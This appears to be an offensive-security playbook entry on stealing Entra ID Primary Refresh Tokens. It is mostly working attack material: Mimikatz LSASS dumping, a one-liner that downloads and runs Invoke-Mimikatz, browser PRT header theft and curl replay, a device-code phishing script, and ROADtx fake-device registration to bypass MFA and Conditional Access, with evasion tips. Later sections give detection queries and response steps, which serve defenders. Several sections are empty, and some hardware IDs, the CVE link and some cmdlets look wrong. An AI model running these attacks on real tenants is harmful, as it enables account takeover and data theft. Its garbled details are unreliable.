MCADDF

[CA-TOKEN-012]: PRT Primary Refresh Token Attacks

1. Metadata Header

Attribute Details
Technique ID CA-TOKEN-012
MITRE ATT&CK v18.1 T1528: Steal Application Access Token
Tactic Credential Access
Platforms Entra ID (Microsoft Entra ID joined, hybrid joined, or registered Windows devices)
Severity Critical
CVE CVE-2021-42287 (Kerberos PAC validation; related to privilege escalation in hybrid scenarios)
Technique Status ACTIVE
Last Verified 2025-01-08
Affected Versions Windows 10 (1903+), Windows 11, Windows Server 2016-2025, iOS, Android, macOS, Linux
Patched In Ongoing mitigation via Token Protection Conditional Access, device compliance requirements, TPM enforcement
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 8 (Splunk Detection) are partially applicable as no dedicated Atomic test exists for PRT extraction. Remaining sections apply to all supported environments.


2. Executive Summary

Concept: A Primary Refresh Token (PRT) is a high-privilege cryptographic artifact issued by Microsoft Entra ID to authenticate users on registered or managed devices. Unlike standard refresh tokens that are tied to specific applications, a PRT can be used to authenticate to any Entra ID-connected service, including Microsoft 365, Azure Portal, Teams, and SharePoint. Once an attacker obtains a PRT through credential dumping, browser session theft, or device registration abuse, they can bypass multi-factor authentication (MFA) and conditional access policies that rely solely on user credentials—not device identity. The attack is particularly dangerous because the compromised device often satisfies device-based conditional access policies, granting the attacker unrestricted access to cloud resources.

Attack Surface: The attack surface encompasses LSASS process memory (where PRT and session keys reside), browser HTTP headers (x-ms-RefreshTokenCredential), Trusted Platform Module (TPM) key material, device registration endpoints, and cloud-side PRT validation logic.

Business Impact: Immediate cloud-wide compromise with MFA bypass. An attacker with a stolen PRT can impersonate any Entra ID user on any cloud service without requiring a password or second factor. This enables exfiltration of sensitive data from Exchange, SharePoint, and OneDrive; account takeover in Microsoft 365 admin centers; deployment of persistent backdoors via Azure Automation or Logic Apps; and lateral movement to on-premises systems via hybrid identity sync abuse.

Technical Context: PRT extraction typically takes seconds to minutes on a compromised device. Stealth depends on method: LSASS memory dumping is highly detectable (antivirus flags, event logging); browser SSO cookie theft is low-noise. Once obtained, the PRT is valid for ~90 days and continuously renewed, allowing long-term persistence. Detection relies on identifying anomalous token flows, device-to-cloud transitions, or rapid device registration followed by immediate resource access.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.1 Access Control Inadequate device compliance policies fail to enforce hardware-backed credential storage (TPM), allowing PRT extraction from non-compliant endpoints.
DISA STIG WN10-00-000030 Weak authentication mechanisms fail to prevent credential theft; STIG requires credential guard and TPM enablement.
CISA SCuBA MS.CIAAE.01 Conditional Access policies must enforce device compliance and block legacy authentication; failure allows PRT abuse.
NIST 800-53 AC-3 Access Enforcement, SC-12 Cryptographic Key Management Inadequate access controls and cryptographic key protection mechanisms enable unauthorized token acquisition and use.
GDPR Art. 32 Security of Processing Failure to implement appropriate technical measures (device hardening, encryption, access controls) to protect personal data stored in cloud services accessed via stolen PRT.
DORA Art. 9 Protection and Prevention Financial services must implement multi-layered authentication and device-binding controls to prevent unauthorized access to financial systems via PRT abuse.
NIS2 Art. 21 Cyber Risk Management Measures Critical infrastructure operators must detect and respond to token theft and implement device-level protections (TPM, secure enclave, compliance policies).
ISO 27001 A.9.2.3 Management of Privileged Access Rights, A.10.1.1 Cryptographic Controls Inadequate control of highly privileged tokens (PRTs) and failure to protect cryptographic keys bound to devices.
ISO 27005 Risk Scenario: Unauthorized Access via Compromised Device Authentication Token theft from device authentication mechanisms represents a critical risk to confidentiality and availability of cloud-based assets.

3. Technical Prerequisites

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. Environmental Reconnaissance

Step 1: Identify Entra ID-Joined or Registered Devices

Objective: Determine if the target device is registered with Entra ID and capable of issuing PRTs.

Command (Windows - PowerShell):

dsregcmd /status

Expected Output:

+----------------------------------------------------------------------+
| Device State                                                         |
+----------------------------------------------------------------------+
AzureAdJoined : YES                              # Device is Entra-joined
EnterpriseJoined : NO
DomainJoined : YES                               # Hybrid-joined (both AD and Entra)
Device Name : DESKTOP-ABC123
...
+----------------------------------------------------------------------+
| SSO State                                                            |
+----------------------------------------------------------------------+
AzureAdPrt : YES                                 # PRT is available
AzureAdPrtUpdateTime : 2025-01-08 10:30:00 UTC  # Last renewal time
...

What to Look For:

OpSec Note: This command generates minimal event logging and is safe to run on target devices during reconnaissance.


Step 2: Check TPM Status (Device Protection Level)

Objective: Assess whether the PRT is protected by TPM (hardware-backed) or stored in software.

Command (Windows - PowerShell):

Get-WmiObject -Namespace root\cimv2\security\microsoftvolumeencryption -Class Win32_EncryptableVolume | Select-Object -Property driveletter,ProtectionStatus

# Check TPM presence and firmware version
Get-WmiObject -Namespace root\cimv2 -Class Win32_Tpm

Expected Output (TPM Present):

Status : 2                                       # TPM is ready
IsActivated() : True
IsEnabled() : True
ManufacturerId : 0x1014                          # Intel TPM
SpecVersion : 2.0                                # TPM 2.0

Expected Output (TPM Absent or Disabled):

# Empty result or "No instance(s) available"
# High-risk scenario: PRT stored in software without hardware protection

What to Look For:

Version Note: Windows 11 requires TPM 2.0. Windows 10 may fall back to software protection if TPM fails.


Step 3: Enumerate Cloud Applications and Conditional Access Policies

Objective: Understand which cloud services are accessible via the stolen PRT and whether device-based Conditional Access is enforced.

Command (Azure CLI - Entra ID-joined device with user credentials):

az login
az ad app list --filter "appId eq '00000002-0000-0000-c000-000000000000'" # Azure Service Management
az ad sp list --filter "appDisplayName eq 'Microsoft Graph'" # Microsoft Graph API

Command (PowerShell - Using existing token):

Connect-MgGraph
Get-MgContext | Select-Object -Property TenantId, Account, Scopes

What to Look For:

OpSec Note: These commands may generate sign-in audit events in Azure if not using cached credentials.


5. Detailed Execution Methods

METHOD 1: LSASS Memory Extraction via Mimikatz (Local Admin Required)

Supported Versions: Windows 10 (1903+), Windows 11, Server 2016-2025

Step 1: Gain Local Administrator Access

Objective: Obtain local admin privileges on the target device.

Prerequisites:

Version Note: On Windows 10/11 with User Account Control (UAC), privilege escalation may require token impersonation or UAC bypass techniques (e.g., COM hijacking, token impersonation via PrintSpooler).

OpSec & Evasion:

Troubleshooting:

References:


Step 2: Execute Mimikatz sekurlsa::cloudap Module

Objective: Extract the PRT, session key, and device credentials from LSASS process memory.

Command (Mimikatz Interactive):

mimikatz.exe
mimikatz # privilege::debug                    # Escalate to DEBUG privilege
mimikatz # sekurlsa::cloudap                   # Extract CloudAP module data (PRT)

Command (Mimikatz One-Liner):

mimikatz.exe "privilege::debug" "sekurlsa::cloudap" "exit" > prt_dump.txt

Expected Output:

CloudAP : TID 0x8a4 (2212)

  * Key : {version:1, cryptoProvider:1, ...}
    * PRT         : eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ... [JWT Token]
    * Key Version : 2
    * Resource    : https://login.microsoftonline.com
    * Claims      : {...}
    * Device Key  : RSA-2048 [exponent=65537, modulus=...]
    * Transport Key: RSA-2048 [exponent=65537, modulus=...]
    * Session Key : [256-bit symmetric key]

What This Means:

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


Step 3: Extract and Decode JWT Components

Objective: Parse the PRT JWT and extract usable claims (user ID, device ID, MFA status).

Command (PowerShell - JWT Decoding):

# Decode JWT header and payload (not signature verification)
$prt = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ..." # From Mimikatz output

$parts = $prt.Split('.')
$header = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($parts[0]))
$payload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($parts[1]))

Write-Host "Header: $header"
Write-Host "Payload: $payload" | ConvertFrom-Json

Expected Payload Structure:

{
  "aud": "https://login.microsoftonline.com",
  "iss": "https://login.microsoftonline.com/{tenantid}/",
  "iat": 1641234567,
  "nbf": 1641234567,
  "exp": 1641321000,
  "sub": "user@domain.com",
  "device_id": "12a34b56-c789-1234-d567-890abcdef012",
  "amr": ["ngcmfa"],           # Contains "ngcmfa" if Windows Hello for Business used
  "mfa_auth_time": 1641234567,
  "mfa": "1",                  # "1" = MFA passed; "0" = no MFA
  "win_ver": "10.0.22621.1234",
  "x_client_platform": "Windows"
}

What This Means:

OpSec & Evasion: Decoding does not generate logs but may be flagged by logging tools if performed on target. Safe to perform offline on attacker machine.

References:


Step 4: Replay PRT to Access Cloud Services

Objective: Use stolen PRT + session key to authenticate to Entra ID services without requiring MFA or device compliance re-verification.

Command (Using ROADtx - PRT Replay):

# First, save the PRT and session key to a file (from Mimikatz output)
# prt.json format: {"prt": "eyJ...", "key": "base64_session_key", "device_id": "..."}

roadtx prtauth -prt prt.json -url "https://graph.microsoft.com" -o output_token.json

Command (Using Browser Method - Manual Replay):

// In browser console (Edge/Chrome Dev Tools):
// Step 1: Open DevTools → Network tab
// Step 2: Browse to https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?...
// Step 3: Capture the request header "x-ms-RefreshTokenCredential"
// Step 4: Save the value to a file and use in curl:

curl -H "x-ms-RefreshTokenCredential: eyJ..." \
     -H "x-ms-DeviceCredential: eyJ..." \
     -H "User-Agent: Mozilla/5.0" \
     "https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=1950a258-227b-4e31-a9cf-717495945fc2&redirect_uri=..." \
     -v

Expected Success Response:

HTTP/1.1 302 Found
Location: https://myapps.microsoft.com/?...
Set-Cookie: x-ms-session=eyJ...; secure; httponly

What This Means:

OpSec & Evasion:

Troubleshooting:

References:


Supported Versions: Windows 10/11, Chrome, Edge, Firefox

Step 1: Identify Browser with Active PRT Session

Objective: Locate a browser that has already obtained and cached a PRT (e.g., user is logged into Office 365).

Command (PowerShell - List Browser Processes):

Get-Process | Where-Object { $_.ProcessName -like "chrome*" -or $_.ProcessName -like "msedge*" -or $_.ProcessName -like "firefox*" }

Expected Output:

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
  1234     234    234567     123456      1.23   5678   2 msedge

What to Look For:

OpSec & Evasion: Browser detection is silent and does not generate alerts.


Step 2: Open Browser Developer Tools and Inspect Network Traffic

Objective: Capture the x-ms-RefreshTokenCredential header containing the PRT cookie.

Manual Steps (Microsoft Edge / Chrome):

  1. Open browser where user is logged into Microsoft 365 or Outlook.
  2. Press F12 or right-click → Inspect to open Developer Tools.
  3. Navigate to Network tab.
  4. In the address bar, type: https://mysignins.microsoft.com or https://portal.office.com and press Enter.
  5. In the Network tab, look for a request to login.microsoftonline.com or similar.
  6. Click on the request to view Request Headers.
  7. Find header named x-ms-RefreshTokenCredential (may also appear as x-ms-RefeshTokenCredential).
  8. Copy the entire header value (JWT token).
  9. Also capture x-ms-DeviceCredential header if present.

Browser Console Alternative (JavaScript):

// Open console (F12 → Console tab) and paste:
window.location = "https://mysignins.microsoft.com";

// Wait for redirect, then in the redirected page console:
// Check Network tab for "x-ms-RefreshTokenCredential" header
// Or use fetch API to capture headers:
fetch('https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=1950a258-227b-4e31-a9cf-717495945fc2&redirect_uri=https://mysignins.microsoft.com', {
  method: 'GET',
  credentials: 'include'  // Include cookies
}).then(r => r.headers).then(h => console.log(h.get('x-ms-RefreshTokenCredential')));

Expected Output:

x-ms-RefreshTokenCredential: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJpc19wcmltYXJ5IjoiYmV0dXJ...
x-ms-DeviceCredential: eyJhbGciOiJSUzI1NiIsImtpZCI6IjIifQ.eyJpc19wcmltYXJ5IjoiYmV0dXJ...

What This Means:

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


Objective: Use captured PRT header to authenticate from a different device/IP address.

Command (cURL - Manual Replay):

# Set environment variables with captured headers
export PRT="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ..."
export DEVICE="eyJhbGciOiJSUzI1NiIsImtpZCI6IjIifQ.eyJ..."

# Request OAuth token using PRT
curl -i \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  -H "x-ms-RefreshTokenCredential: $PRT" \
  -H "x-ms-DeviceCredential: $DEVICE" \
  "https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=1950a258-227b-4e31-a9cf-717495945fc2&redirect_uri=https%3A%2F%2Fmysignins.microsoft.com&response_type=code&scope=openid%20profile%20email&state=random123&nonce=random456"

Expected Response:

HTTP/1.1 302 Found
Location: https://mysignins.microsoft.com?code=M.R3_BAY...&state=random123
Set-Cookie: x-ms-session=eyJ...; secure; httponly; samesite=strict

What This Means:

Command (PowerShell - Extract Access Token):

# Using the auth code from the redirect URL:
$code = "M.R3_BAY..."
$body = @{
    client_id = "1950a258-227b-4e31-a9cf-717495945fc2"
    client_secret = ""                          # May be required depending on app
    code = $code
    grant_type = "authorization_code"
    redirect_uri = "https://mysignins.microsoft.com"
}

$response = Invoke-WebRequest -Uri "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" `
                              -Method POST `
                              -Body ($body | ConvertTo-Json) `
                              -ContentType "application/json"

$accessToken = ($response.Content | ConvertFrom-Json).access_token

# Access Microsoft Graph API
$headers = @{ Authorization = "Bearer $accessToken" }
Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/me" -Headers $headers

Expected Output:

{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/$entity",
  "id": "12345678-1234-1234-1234-123456789012",
  "userPrincipalName": "user@domain.com",
  "displayName": "Victim User",
  "mail": "user@domain.com"
}

OpSec & Evasion:

Troubleshooting:

References:


METHOD 3: Device Registration + PRT Upgrade via ROADtx (Phishing Scenario)

Supported Versions: All Entra ID tenants (regardless of Windows version)

Step 1: Phish User Credentials via Device Code Flow

Objective: Obtain a valid user refresh token through device code phishing (no local access required).

Command (ROADtx - Interactive Authentication):

# Initiate device code flow
roadtx gettokens -u "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
                 --client-id "1950a258-227b-4e31-a9cf-717495945fc2" \
                 --output-file tokens.json

# Output will display:
# To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code AB12CD34EF56
# Once user authenticates on their device, tokens will be saved to tokens.json

Alternative (Device Code Phishing Script):

# Python script to generate device code login URL and capture token
import requests
import json

client_id = "1950a258-227b-4e31-a9cf-717495945fc2"  # Azure PowerShell
tenant = "common"
device_code_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode"

data = {
    "client_id": client_id,
    "scope": "https://graph.microsoft.com/.default"
}

response = requests.post(device_code_url, data=data)
device_code_data = response.json()

print(f"Visit: {device_code_data['verification_uri']}")
print(f"Enter code: {device_code_data['user_code']}")

# Poll for token once user authenticates
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
while True:
    token_data = {
        "client_id": client_id,
        "device_code": device_code_data["device_code"],
        "grant_type": "urn:ietf:params:oauth:grant-type:device_code"
    }
    response = requests.post(token_url, data=token_data)
    if "access_token" in response.json():
        tokens = response.json()
        print(f"Got tokens: {json.dumps(tokens, indent=2)}")
        break

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiL...",
  "refresh_token": "0.AWYAMEj_...",
  "expires_in": 3599,
  "token_type": "Bearer",
  "scope": "https://graph.microsoft.com/.default"
}

What This Means:

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


Step 2: Register Fake Device in Entra ID

Objective: Use the obtained refresh token to register a new device and obtain a device certificate.

Command (ROADtx - Device Registration):

# Register a new device using the refresh token
roadtx deviceregister -t tokens.json \
                      --device-name "CORP-LAPTOP-ABC" \
                      --device-type "Windows10" \
                      --os-version "10.0.22621" \
                      --output-file device.json

# Output will contain:
# Device ID: 12a34b56-c789-1234-d567-890abcdef012
# Device Certificate: -----BEGIN CERTIFICATE-----
# Device Key: -----BEGIN PRIVATE KEY-----

Expected Output (device.json):

{
  "device_id": "12a34b56-c789-1234-d567-890abcdef012",
  "device_name": "CORP-LAPTOP-ABC",
  "device_certificate": "-----BEGIN CERTIFICATE-----\nMIID...\n-----END CERTIFICATE-----",
  "device_key": "-----BEGIN PRIVATE KEY-----\nMIIE...\n-----END PRIVATE KEY-----",
  "refresh_token": "0.AXYA..."
}

What This Means:

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


Step 3: Request PRT from Registered Device

Objective: Use the device certificate to request a Primary Refresh Token.

Command (ROADtx - PRT Request):

# Request a PRT using the device certificate and original refresh token
roadtx prt -u "user@domain.com" \
           -r "0.AXYA..." \
           --key device_key.pem \
           --cert device_cert.pem \
           --output-file prt_keys.json

# Or using password (if available):
roadtx prt -u "user@domain.com" \
           -p "P@ssw0rd123" \
           --key device_key.pem \
           --cert device_cert.pem \
           --output-file prt_keys.json

Expected Output (prt_keys.json):

{
  "prt": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ...",
  "key_data": {
    "type": "symmetric",
    "alg": "A256CBC-HS512",
    "value": "base64_encoded_session_key"
  },
  "refresh_token": "0.AXYA...",
  "device_id": "12a34b56-c789-1234-d567-890abcdef012"
}

What This Means:

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


Step 4: Bypass Conditional Access via Device Compliance Enrichment

Objective: Upgrade the PRT to include MFA and device compliance claims (if policies require them).

Scenario: Tenant enforces Conditional Access policy requiring:

Command (ROADtx - PRT Enrichment with Windows Hello for Business):

# Step 1: Register Windows Hello for Business key on the fake device
roadtx winhello -u "user@domain.com" \
                --key device_key.pem \
                --cert device_cert.pem \
                --output-file whfb_keys.json

# Step 2: Request new PRT with Windows Hello signature (counts as MFA)
roadtx prt -u "user@domain.com" \
           --winhello-key whfb_keys.json \
           --key device_key.pem \
           --cert device_cert.pem \
           --output-file prt_mfa.json

Alternative (Conditional Access Evasion via Network Location):

# If Conditional Access restricts access to corporate networks, tunnel through proxy/VPN:
export HTTPS_PROXY="https://corporate-proxy.internal:8080"

roadtx prtauth -prt prt_keys.json \
               -url "https://graph.microsoft.com" \
               -output tokens_proxied.json

Expected Output:

{
  "prt_with_mfa": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJ...\"mfa\": \"1\"...",
  "whfb_signature": "base64_signature_of_prt_with_whfb_key"
}

What This Means:

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


6. Tools & Commands Reference

Mimikatz

Version: 2.2.0 (20200807) or later Minimum Version: 2.2.0 (CloudAP module support) Supported Platforms: Windows 10 (1903+), Windows 11, Server 2016-2025

Version-Specific Notes:

Installation:

# Download latest release from GitHub
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220715/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
cd x64

# Run mimikatz
./mimikatz.exe

Usage:

mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::dpapi

Script (One-Liner - Extract PRT to File):

# PowerShell module (Invoke-Mimikatz) - avoids disk-based binary
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')

Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::cloudap" "exit" | Out-File prt_dump.txt

ROADtx (ROADtools Token eXchange)

Version: Latest (actively maintained) Minimum Version: 0.2+ Supported Platforms: Linux, macOS, Windows (Python 3.7+)

Installation:

pip install roadtools
roadtx --version

Usage Examples:

# Device code flow authentication
roadtx gettokens -u "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
                 --client-id "1950a258-227b-4e31-a9cf-717495945fc2" \
                 --output-file tokens.json

# Device registration
roadtx deviceregister -t tokens.json \
                      --device-name "CORP-LAPTOP-001" \
                      --output-file device.json

# PRT request
roadtx prt -u "user@domain.com" \
           -r "0.AXYA..." \
           --key device_key.pem \
           --cert device_cert.pem \
           --output-file prt_keys.json

# PRT authentication (get access token)
roadtx prtauth -prt prt_keys.json \
               -url "https://graph.microsoft.com" \
               --output tokens.json

AADInternals

Version: Latest (PowerShell module) Minimum Version: 0.9.4+ Supported Platforms: Windows (requires LSASS access)

Installation:

Install-Module AADInternals -Scope CurrentUser

# Or download from aadinternals.com

Usage Examples:

# Import module
Import-Module AADInternals

# Export device certificate for device-bound token
Export-AADIntLocalDeviceCertificate

# Extract PRT keys from LSASS
$prtKeys = Get-AADIntUserPRTKeys -PfxFileName ".\device_cert.pfx"

# Create a new PRT token
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GetNonce

# Get access token for Graph API using PRT
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken -SaveToCache

# Get access token for Excel Online
Get-AADIntAccessTokenForExcel -PRTToken $prtToken -SaveToCache

7. Microsoft Sentinel Detection

Query 1: Rapid PRT Issuance to New Device

Rule Configuration:

KQL Query:

AADServicePrincipalSignInLogs
| where AppDisplayName =~ "Device Registration Service" and ResultDescription =~ "success"
| project DeviceId, UserPrincipalName, TimeGenerated, IPAddress, UserAgent, OperationName
| join kind=inner (
    SigninLogs
    | where AuthenticationProtocol =~ "PRT"
    | project DeviceId, TimeGenerated, IPAddress as TokenIP, UserPrincipalName
    | where TimeGenerated > ago(1h)
) on DeviceId, UserPrincipalName
| where datetime_diff('minute', TimeGenerated1, TimeGenerated) <= 5 and IPAddress != TokenIP
| summarize Count = count(), FirstSeen = min(TimeGenerated) by DeviceId, UserPrincipalName, IPAddress, TokenIP
| where Count > 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: PRT Issuance to Suspicious New Device
    • Severity: High
    • Description: Detects rapid PRT issuance to newly registered device from different IP
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents from alerts triggered by this analytics rule
    • Group related alerts: by all entities
  7. Response Tab:
    • Add automation rule: Incident owner = SOC Team
  8. Click Review + create

Manual Configuration Steps (PowerShell):

# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
  -WorkspaceName $WorkspaceName `
  -DisplayName "PRT Issuance to Suspicious New Device" `
  -Query @"
[Insert KQL Query Here]
"@ `
  -Severity "High" `
  -Enabled $true `
  -IncidentGroupingOption "AllEntities"

False Positive Analysis:


Query 2: PRT Authentication from Anomalous Location

Rule Configuration:

KQL Query:

SigninLogs
| where AuthenticationProtocol =~ "PRT"
| extend ParsedLocation = split(LocationDetails.countryOrRegion, ",")[0]
| project TimeGenerated, UserPrincipalName, AuthenticationProtocol, IPAddress, ParsedLocation, UserAgent, DeviceDetail, AuthenticationDetails
| join kind=inner (
    SigninLogs
    | where TimeGenerated > ago(24h) and AuthenticationProtocol =~ "OAuth2"
    | summarize PrevCountry = any(LocationDetails.countryOrRegion), PrevIP = any(IPAddress) by UserPrincipalName
) on UserPrincipalName
| where ParsedLocation != PrevCountry and ParsedLocation =~ "CN|RU|KP"  # High-risk countries
| summarize Count = count(), IPs = make_set(IPAddress), Countries = make_set(ParsedLocation) by UserPrincipalName, TimeGenerated

What This Detects:


Query 3: LSASS Access Followed by Token Abuse

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4688 and (CommandLine contains "sekurlsa" or CommandLine contains "cloudap" or Image contains "mimikatz")
| project TimeGenerated, Computer, CommandLine, SubjectUserName
| join kind=inner (
    SigninLogs
    | where TimeGenerated > ago(30m) and AuthenticationProtocol =~ "PRT"
    | project TimeGenerated, UserPrincipalName, IPAddress
) on $left.SubjectUserName == $right.UserPrincipalName
| where datetime_diff('minute', TimeGenerated1, TimeGenerated) <= 10
| summarize Count = count() by Computer, SubjectUserName, UserPrincipalName, IPAddress, CommandLine

What This Detects:


8. Windows Event Log Monitoring

Event ID: 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesDetailed Tracking
  3. Enable: Audit Process Creation
  4. Set to: Success and Failure
  5. Configure Command Line logging:
    • Go to Computer ConfigurationAdministrative TemplatesSystemAudit Process Creation
    • Enable: “Include command line in process creation events”
  6. Run gpupdate /force on target machines

Manual Configuration Steps (Server 2022+):

  1. Use same steps as above; command-line logging is enabled by default.
  2. Verify via: auditpol /get /subcategory:"Process Creation" /r

Event ID: 4647 (User Logout)


Event ID: 4649 (A replay attack was detected)


9. Microsoft Defender for Cloud

Detection Alerts

Alert Name: “Suspicious Mimikatz behavior detected”

Alert Name: “Suspicious access to PRT attempted”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select your subscription
  3. Under Defender plans, enable:
    • Defender for Servers: ON (detects process access anomalies)
    • Defender for Identity: ON (detects credential dumping, token abuse)
    • Defender for Cloud Apps: ON (detects unusual sign-in patterns)
  4. Click Save
  5. Go to Security alerts to view triggered alerts

10. Detection & Incident Response

Indicators of Compromise (IOCs)

Files:

Registry:

Network:

Cloud:


Forensic Artifacts

Disk:

Memory:

Cloud (Azure/M365):


Response Procedures

1. Immediate Containment:

Command (Revoke PRT):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.ReadWrite.All"

# Get the compromised device ID
$device = Get-MgDevice -Filter "displayName eq 'CORP-LAPTOP-ABC'"

# Delete/disable the device (revokes all tokens issued to this device)
Remove-MgDevice -DeviceId $device.Id

# Or for hybrid devices, mark as non-compliant:
Update-MgDeviceRegistrationPolicy -DeviceCompliancePolicy @{"state" = "noncompliant"}

Manual (Azure Portal):

2. Revoke Active Sessions:

Command (Revoke All Sessions):

# Force user to re-authenticate by revoking all refresh tokens
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"

$userId = "user@domain.com"
$user = Get-MgUser -Filter "userPrincipalName eq '$userId'"

# Revoke all refresh tokens (forces re-authentication for all apps)
Invoke-MgUserInvalidateAllRefreshTokens -UserId $user.Id

Manual (Azure Portal):

3. Reset Credentials and Enforce MFA:

Command:

# Reset user password (invalidates cached credentials)
$newPassword = ConvertTo-SecureString "NewComplex!Pass123" -AsPlainText -Force
Update-MgUser -UserId $user.Id -Password $newPassword -ForceChangePasswordNextSignIn $true

# Require MFA re-enrollment
$enforceRegMfaMethods = @("microsoftAuthenticatorPush", "windowsHelloForBusiness")
New-MgUserAuthenticationRequirementPolicy -UserId $user.Id -Methods $enforceRegMfaMethods

Manual (Azure Portal):

4. Forensic Evidence Collection:

Command (Export Audit Logs):

# Export sign-in events for the compromised device
$deviceId = "12a34b56-c789-1234-d567-890abcdef012"
$startDate = (Get-Date).AddDays(-7)

Get-AzureAuditLog -Filter "properties/deviceId eq '$deviceId'" `
                  -StartDate $startDate `
                  -EndDate (Get-Date) | Export-Csv -Path "device_audit.csv"

# Export from Unified Audit Log (M365)
Search-UnifiedAuditLog -Operations "UserRegisterDevice" `
                       -StartDate $startDate `
                       -EndDate (Get-Date) `
                       -ResultSize 5000 | Export-Csv -Path "device_registration_audit.csv"

Manual (Azure Portal):

  1. Go to Azure PortalEntra IDAudit logs
  2. Filter: Category = “Device Management”, Activity = “Device Registered”
  3. Select events → Download logs as CSV

5. Investigation Steps:

  1. Correlate Sign-in Events:
    • Identify all resource access by the compromised user/device within past 90 days.
    • Look for mailbox access, file downloads, admin actions.
  2. Check For Persistence:
    • Look for additional device registrations by same user.
    • Check for new conditional access bypasses (e.g., CA exclusions added).
    • Audit for new service principals with permissions to sensitive resources.
  3. Determine Breach Scope:
    • Which data was accessed? (files, emails, Teams messages)
    • Were there lateral movements to other systems or accounts?
    • Any data exfiltration indicators (large downloads, unusual SharePoint access)?

Step Phase Technique Description
1 Reconnaissance [REC-AD-003] PowerView enumeration Attacker maps domain structure and Entra ID joined devices.
2 Initial Access [IA-PHISH-001] Device Code Phishing Attacker tricks user into authenticating via device code flow (METHOD 3).
3 Credential Access - This Step [CA-TOKEN-012] PRT Theft Attacker extracts PRT from LSASS, browser, or via device registration.
4 Privilege Escalation [PE-POLICY-005] Cross-Tenant Escalation Using stolen PRT, attacker escalates within tenant or across tenants (B2B abuse).
5 Collection [COLLECTION-M365] Mailbox Exfiltration Attacker uses PRT to access Exchange Online, exfiltrates emails and files.
6 Impact [IMPACT-RANSOM] Cloud Ransomware Attacker encrypts files in SharePoint/OneDrive or deletes backups via stolen PRT access.

12. Real-World Examples

Example 1: APT Activity - PRT Theft via Device Code Phishing (2023)

Example 2: Insider Threat - PRT Extraction via Mimikatz (2024)

Example 3: Cloud Ransomware - PRT Abuse for Lateral Movement (2025)


13. Defensive Mitigations

Priority 1: CRITICAL


Priority 2: HIGH


Priority 3: MEDIUM


Access Control & Policy Hardening

# Check TPM
Get-WmiObject -Namespace root\cimv2 -Class Win32_Tpm | Select-Object Status

# Check Credential Guard
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# Check Conditional Access policies
Connect-MgGraph -Scopes "Policy.Read.ConditionalAccess"
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Token*" }

# Check device compliance
Get-MgDeviceManagementCompliancePolicy

Expected Output (If Secure):

TPM Status: Ready
Credential Guard: Enabled with UEFI lock
Token Protection CA Policy: Enabled
Device Compliance: Required

Summary

PRT attacks represent a critical threat to hybrid identity environments. Once stolen, a PRT bypasses MFA and device compliance checks, enabling unrestricted access to cloud services for ~90 days. Mitigation requires:

  1. Hardware-backed credential protection (TPM 2.0 + Credential Guard)
